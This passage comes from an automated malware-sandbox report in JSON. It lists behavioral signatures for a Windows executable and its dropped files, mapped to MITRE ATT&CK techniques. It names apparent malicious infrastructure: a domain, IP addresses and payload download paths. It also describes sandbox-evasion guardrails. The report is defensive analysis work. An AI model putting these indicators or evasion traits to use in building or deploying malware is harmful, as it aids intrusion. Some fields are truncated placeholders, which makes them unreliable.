Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Packed Executable Download\" (SID: 2014819, Rev: 5, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004836)\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004836)\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004836)\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00004836)\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" called \"LoadLibrary\" with a parameter msimg32.dll (UID: 00000000-00004836)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2f","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"note.padd.cn.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.172.128.228:80\"\n \"185.172.128.203:80\"\n \"176.97.76.106:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")\n Found reference to API \"odCreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp\")\n Found reference to API \"odCreateProcess64\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp\")\n Found reference to API \"4406097654,6660,3137,,CreateProcessW,kernel32.dll,\"00:30:18.109\",RX=0,PX=0\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006116.00000000.116524.03660000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"SHCreateDirectoryExW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")\n Found reference to API \"PlaiCreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyTransactedW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyTransactedW\" (Indicator: \"RegCreateKeyTransacted\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: 850a2a0eee8fe41dc2b84bcf4f692aa2.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: run.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: u3qc.0.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"OpenThread\" (Indicator: \"OpenThread\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"PlaiStartService\" (Indicator: \"StartService\"; Source: \"00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"\"UIxMarketPlugin.dll\" contains export function called \"MarketCreate\" at ordinal 1\n \"UIxMarketPlugin.dll\" contains export function called \"MarketRelease\" at ordinal 2\n \"UIxMarketPlugin.dll\" contains export function called \"_Finalize@0\" at ordinal 3\n \"UIxMarketPlugin.dll\" contains export function called \"_Initialize@4\" at ordinal 4\n \"relay.dll\" contains export function called \"Cancel\" at ordinal 11\n \"relay.dll\" contains export function called \"Finalize\" at ordinal 2\n \"relay.dll\" contains export function called \"Initialize\" at ordinal 1\n \"relay.dll\" contains export function called \"PrepareRun\" at ordinal 12\n \"relay.dll\" contains export function called \"Run\" at ordinal 10","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"run.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"UIxMarketPlugin.dll\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"relay.dll\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$34","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0\" at base 74c40000\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" loaded module \"API-MS-WIN-CORE-FIBERS-L1-1-1\" at base 74c40000\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-L1-2-1\" at base 74c40000\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" loaded module \"KERNEL32\" at base 741a0000\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" loaded module \"%WINDIR%\\TEMP\\VXOLE32.DLL\" at base 72ae0000\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" loaded module \"MSIMG32.DLL\" at base 72a50000","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 74060000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 74990000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$35","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"run.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"UIxMarketPlugin.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"relay.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" has an executable section named \".text\"\n \"run.exe\" has an executable section named \".text\"\n \"UIxMarketPlugin.dll\" has an executable section named \".text\"\n \"relay.dll\" has an executable section named \".text\"\n \"u3qc.0.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"USER32.dll\" : \"225\" [Source: run.exe]\n Observed large number of imported APIs from \"USER32.dll\" : \"216\" [Source: UIxMarketPlugin.dll]\n Observed large number of imported APIs from \"USER32.dll\" : \"219\" [Source: relay.dll]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" has an writable section named \".data\"\n \"run.exe\" has an writable section named \".data\"\n \"UIxMarketPlugin.dll\" has an writable section named \".data\"\n \"relay.dll\" has an writable section named \".data\"\n \"u3qc.0.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$36","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x1aa400\" greater than 0x100000\n Raw size of \".text\" is \"0x11d200\" greater than 0x100000\n Raw size of \".text\" is \"0x115c00\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".data\" is \"0x26bd33c\" greater than 0x100000\n Virtual size of \".text\" is \"0x1aa20d\" greater than 0x100000\n Virtual size of \".text\" is \"0x11d016\" greater than 0x100000\n Virtual size of \".text\" is \"0x115a36\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"note.padd.cn.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"run.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"UIxMarketPlugin.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"relay.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"u3qc.0.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$37","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$38","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" queries basic process information of the \"C:\\850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" (UID: 4836)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$39","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to detect sandbox (imports API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$3a","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" trying to access non-existent file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" trying to access non-existent file \"C:\\FLTLIB.DLL\"\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" trying to access non-existent file \"C:\\MSIMG32.DLL\"\n \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" trying to access non-existent file \"C:\\msimg32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /ping.php?substr=0\"\n Found http requests in header \"GET /timeSync.exe\"\n Found http requests in header \"GET /1/Package.zip\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"UIxString_InternetConnectionFailure\" (Indicator: \"InternetConnect\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")\n Found reference to API \"CInternetConnection\" (Indicator: \"InternetConnect\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")\n Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")\n Found reference to API \".?AVCInternetConnection@@\" (Indicator: \"InternetConnect\"; Source: \"00000000-00006116.00000000.116524.01140000.00000004.mdmp, 00000000-00009160.00000000.117798.01140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API 